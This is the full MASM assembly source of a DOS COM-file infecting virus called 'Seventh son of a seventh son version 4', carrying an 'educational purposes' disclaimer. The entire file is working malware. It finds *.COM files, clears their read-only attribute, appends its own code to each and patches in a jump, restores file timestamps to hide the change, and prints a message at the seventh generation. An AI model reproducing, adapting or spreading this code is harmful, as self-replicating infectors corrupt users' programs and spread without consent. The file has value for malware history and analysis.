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;****************************************************************************
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;* Seventh son of a seventh son version 4
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;*
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;* Compile with MASM 4.0
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;* (other assemblers will probably not produce the same result)
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;*
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;* Disclaimer:
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;* This file is only for educational purposes. The author takes no
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;* responsibility for anything anyone does with this file. Do not
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;* modify this file!
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;****************************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg,ss:cseg
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.RADIX 16
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FILELEN equ end - start
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MINTARGET equ 1000d
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MAXTARGET equ -(FILELEN+40)
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;****************************************************************************
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;* Dummy program (infected)
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;****************************************************************************
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org 100
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begin: db 4Dh ;virus mark
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db 0E9h, 4, 0 ;jump to virus entry
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;****************************************************************************
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;* Begin of the virus
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;****************************************************************************
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start: db 0CDh, 20h, 0, 0
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cld
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mov si,0100h
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push si ;push new IP on stack
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mov di,si
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add si,[si+2] ;si -> start
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push si ;restore original begin
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movsw
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movsw
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pop si
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mov ax,3300h ;get ctrl-break flag
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int 21
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push dx
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cwd ;clear the flag
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inc ax
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push ax
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int 21
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mov ax,3524h ;get int24 vector
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int 21
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push bx
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push es
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lea dx,[si+(offset ni24 - 0104)] ;set new int24 vector
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mov ah,25h
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push ax
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int 21
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mov ah,2Fh ;get DTA adres
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int 21
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push es
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push bx
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add dx,070h ;set new DTA adres
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mov ah,1Ah
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int 21
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add dx,1Eh
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push dx
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lea di,[si+(offset generation-0104)] ;check generation
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cmp [di],0707h
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jne verder
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lea dx,[di+2] ;7th son of a 7th son!
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mov ah,09h
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int 21
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verder: mov ax,[di] ;update generations
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xchg ah,al
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mov al,1
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mov [di],ax
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lea dx,[di+33d] ;find first COM-file
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xor cx,cx
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mov ah,4Eh
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infloop: int 21
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pop dx
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jc stop
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push dx
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xor cx,cx ;clear read-only-arttribute
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mov ax,4301
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int 21
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jc return1
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mov ax,3D02h ;open the file
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int 21
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jc return1
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xchg bx,ax
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mov ax,5700h ;get file date & time
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int 21
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push cx
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push dx
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mov cx,4 ;read begin of file
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mov dx,si
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mov ah,3fh
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int 21
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cmp byte ptr [si],4Dh ;already infected or an EXE?
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je return2
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cmp byte ptr [si],5Ah ;or a weird EXE?
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je return2
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mov al,2 ;go to end of file
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call seek
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cmp ax,MAXTARGET ;check length of file
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jnb return2
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cmp ax,MINTARGET
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jbe return2
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push ax
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mov cx,FILELEN ;write program to end of file
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mov ah,40h
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int 21
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cmp ax,cx ;are all bytes written?
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pop ax
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jnz return2
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xchg ax,bp
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mov al,0 ;go to begin of file
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call seek
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mov word ptr [si],0E94Dh ;write mark and jump-command
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mov word ptr [si+2],bp
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mov ah,40h
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int 21
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inc byte ptr [di] ;number of next son
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return2: pop dx ;restore file date & time
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pop cx
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mov ax,5701h
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int 21
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mov ah,3Eh ;close the file
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int 21
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return1: mov ah,4Fh ;find next file
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jmp short infloop
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stop: pop dx ;restore DTA adres
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pop ds
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mov ah,1Ah
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int 21
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pop ax ;restore int24 vector
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pop ds
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pop dx
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int 21
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pop ax ;restore ctrl-break flag
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pop dx
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int 21
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push cs
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push cs
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pop ds
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pop es
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ret
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seek: mov ah,42
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cwd
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int21: xor cx,cx
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int 21
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mov cl,4
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mov dx,si
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ret
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;****************************************************************************
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;* Interupt handler 24
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;****************************************************************************
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ni24: mov al,03
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iret
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;****************************************************************************
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;* Data
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;****************************************************************************
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generation db 1,1
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sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$'
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filename db '*.COM',0
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db '‚¨°³±'
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end:
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cseg ends
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end begin
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